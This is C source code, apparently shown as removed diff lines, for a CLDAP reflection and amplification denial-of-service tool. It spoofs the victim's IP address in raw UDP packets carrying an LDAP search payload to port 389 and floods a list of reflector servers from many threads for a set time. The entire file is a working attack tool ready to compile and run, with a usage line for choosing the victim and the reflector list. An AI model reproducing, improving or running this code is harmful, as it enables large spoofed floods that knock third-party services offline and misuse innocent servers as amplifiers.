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- #include <arpa/inet.h>
- #include <netinet/ip.h>
- #include <netinet/udp.h>
- #include <pthread.h>
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #include <sys/socket.h>
- #include <time.h>
- #include <unistd.h>
- static unsigned int DPORT = 389;
- static const char PAYLOAD[] =
- "\x30\x25\x02\x01\x01\x63\x20\x04\x00\x0a\x01\x00\x0a\x01\x00\x02\x01\x00"
- "\x02\x01\x00\x01\x01\x00\x87\x0b\x6f\x62\x6a\x65\x63\x74\x63\x6c\x61\x73"
- "\x73\x30\x00";
- // Phenomite template begin
- #define MAX_PACKET_SIZE 4096
- #define PHI 0xaaf219b9
- static uint32_t Q[4096], c = 362436;
- static unsigned int PAYLOADSIZE = sizeof(PAYLOAD);
- struct list {
- struct sockaddr_in data;
- struct list *next;
- struct list *prev;
- };
- struct list *head;
- volatile int tehport;
- volatile int limiter;
- volatile unsigned int pps;
- volatile unsigned int sleeptime = 100;
- struct thread_data {
- int thread_id;
- struct list *list_node;
- struct sockaddr_in sin;
- };
- void init_rand(uint32_t x) {
- int i;
- Q[0] = x;
- Q[1] = x + PHI;
- Q[2] = x + PHI + PHI;
- for (i = 3; i < 4096; i++) {
- Q[i] = Q[i] ^ Q[i] ^ PHI ^ i;
- }
- }
- uint32_t rand_cmwc(void) {
- uint64_t t, a = 18782LL;
- static uint32_t i = 4095;
- uint32_t x, r = 0xfffffffe;
- i = (i + 1) & 4095;
- t = a * Q[i] + c;
- c = (t >> 32);
- x = t + c;
- if (x < c) {
- x++;
- c++;
- }
- return (Q[i] = r - x);
- }
- /* function for header checksums */
- unsigned short csum(unsigned short *buf, int nwords) {
- unsigned long sum;
- for (sum = 0; nwords > 0; nwords--)
- sum += *buf++;
- sum = (sum >> 16) + (sum & 0xffff);
- sum += (sum >> 16);
- return (unsigned short)(~sum);
- }
- void setup_ip_header(struct iphdr *iph) {
- iph->ihl = 5;
- iph->version = 4;
- iph->tos = 0;
- iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + PAYLOADSIZE;
- iph->id = htonl(61337);
- iph->frag_off = 0;
- iph->ttl = MAXTTL;
- iph->protocol = IPPROTO_UDP;
- iph->check = 0;
- iph->saddr = inet_addr("127.0.0.1");
- }
- void setup_udp_header(struct udphdr *udph) {
- udph->source = htons(61337);
- udph->dest = htons(DPORT);
- udph->check = 0;
- memcpy((void *)udph + sizeof(struct udphdr), PAYLOAD, PAYLOADSIZE);
- udph->len = htons(sizeof(struct udphdr) + PAYLOADSIZE);
- }
- void *flood(void *par1) {
- struct thread_data *td = (struct thread_data *)par1;
- char datagram[MAX_PACKET_SIZE];
- struct iphdr *iph = (struct iphdr *)datagram;
- struct udphdr *udph = (/*u_int8_t*/ void *)iph + sizeof(struct iphdr);
- struct sockaddr_in sin = td->sin;
- struct list *list_node = td->list_node;
- int s = socket(PF_INET, SOCK_RAW, IPPROTO_RAW);
- if (s < 0) {
- fprintf(stderr, "Could not open raw socket.\n");
- exit(-1);
- }
- init_rand(time(NULL));
- memset(datagram, 0, MAX_PACKET_SIZE);
- setup_ip_header(iph);
- setup_udp_header(udph);
- udph->source = htons(tehport);
- iph->saddr = sin.sin_addr.s_addr;
- iph->daddr = list_node->data.sin_addr.s_addr;
- iph->check = csum((unsigned short *)datagram, iph->tot_len >> 1);
- int tmp = 1;
- const int *val = &tmp;
- if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof(tmp)) < 0) {
- fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
- exit(-1);
- }
- init_rand(time(NULL));
- register unsigned int i;
- i = 0;
- while (1) {
- list_node = list_node->next;
- iph->daddr = list_node->data.sin_addr.s_addr;
- iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
- iph->check = csum((unsigned short *)datagram, iph->tot_len >> 1);
- sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *)&list_node->data,
- sizeof(list_node->data));
- pps++;
- if (i >= limiter) {
- i = 0;
- usleep(sleeptime);
- }
- i++;
- }
- }
- int main(int argc, char *argv[]) {
- if (argc < 6) {
- fprintf(stdout, "%s host port listfile threads limit[-1 for none] time\n",
- argv[0]);
- exit(-1);
- }
- srand(time(NULL));
- int i = 0;
- head = NULL;
- fprintf(stdout, "Loading list to buffer\n");
- int max_len = 512;
- char *buffer = (char *)malloc(max_len);
- buffer = memset(buffer, 0x00, max_len);
- tehport = atoi(argv[2]);
- int num_threads = atoi(argv[4]);
- int maxpps = atoi(argv[5]);
- limiter = 0;
- pps = 0;
- int multiplier = 100;
- FILE *list_fd = fopen(argv[3], "r");
- while (fgets(buffer, max_len, list_fd) != NULL) {
- if ((buffer[strlen(buffer) - 1] == '\n') ||
- (buffer[strlen(buffer) - 1] == '\r')) {
- buffer[strlen(buffer) - 1] = 0x00;
- if (head == NULL) {
- head = (struct list *)malloc(sizeof(struct list));
- bzero(&head->data, sizeof(head->data));
- head->data.sin_addr.s_addr = inet_addr(buffer);
- head->next = head;
- head->prev = head;
- } else {
- struct list *new_node = (struct list *)malloc(sizeof(struct list));
- memset(new_node, 0x00, sizeof(struct list));
- new_node->data.sin_addr.s_addr = inet_addr(buffer);
- new_node->prev = head;
- new_node->next = head->next;
- head->next = new_node;
- }
- i++;
- } else {
- continue;
- }
- }
- struct list *current = head->next;
- pthread_t thread[num_threads];
- struct sockaddr_in sin;
- sin.sin_family = AF_INET;
- sin.sin_addr.s_addr = inet_addr(argv[1]);
- struct thread_data td[num_threads];
- for (i = 0; i < num_threads; i++) {
- td[i].thread_id = i;
- td[i].sin = sin;
- td[i].list_node = current;
- pthread_create(&thread[i], NULL, &flood, (void *)&td[i]);
- }
- fprintf(stdout, "Yeeting\n");
- for (i = 0; i < (atoi(argv[6]) * multiplier); i++) {
- usleep((1000 / multiplier) * 1000);
- if ((pps * multiplier) > maxpps) {
- if (1 > limiter) {
- sleeptime += 100;
- } else {
- limiter--;
- }
- } else {
- limiter++;
- if (sleeptime > 25) {
- sleeptime -= 25;
- } else {
- sleeptime = 0;
- }
- }
- pps = 0;
- }
- return 0;
- }
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